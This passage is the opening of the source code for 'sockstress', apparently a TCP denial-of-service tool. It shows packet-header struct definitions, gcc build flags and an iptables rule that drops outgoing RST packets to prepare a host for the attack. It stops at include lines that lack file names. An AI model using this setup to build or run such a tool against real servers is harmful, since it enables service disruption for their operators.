//sockstress.h
#define ETHERNET_TYPE_IP 0x0800
#define IP_PROTO_TCP 6
struct ethernet_header{
unsigned char DstMac[6];
unsigned char SrcMac[6];
unsigned short Type;
};
struct ip_header{
#ifdef HLBR_LITTLE_ENDIAN
unsigned char ihl:4,
version:4;
#else
unsigned char version:4,
ihl:4;
#endif
unsigned char tos;
unsigned short tot_len;
unsigned short id;
unsigned short frag_off;
unsigned char ttl;
unsigned char protocol;
unsigned short check;
unsigned int saddr;
unsigned int daddr;
/*The options start here. */
};
struct tcp_header {
unsigned short source;
unsigned short dest;
unsigned int seq;
unsigned int ack_seq;
#ifdef HLBR_LITTLE_ENDIAN
unsigned short doff:4,
res1:4,
cwr:1,
ece:1,
urg:1,
ack:1,
psh:1,
rst:1,
syn:1,
fin:1;
#else
unsigned short res1:4,
doff:4,
fin:1,
syn:1,
rst:1,
psh:1,
ack:1,
urg:1,
ece:1,
cwr:1;
#endif
unsigned short window;
unsigned short check;
unsigned short urg_ptr;
};
/sockstress.c//
/*
depend libnet, libpcap
gcc sockstress.c -o sockstress -lpcap -lnet -lpthread -Wall
add iptables rule:
iptables -A OUTPUT -o eth0 -p tcp --tcp-flags RST,ACK,SYN RST -j DROP
*/
#include
#include
#incl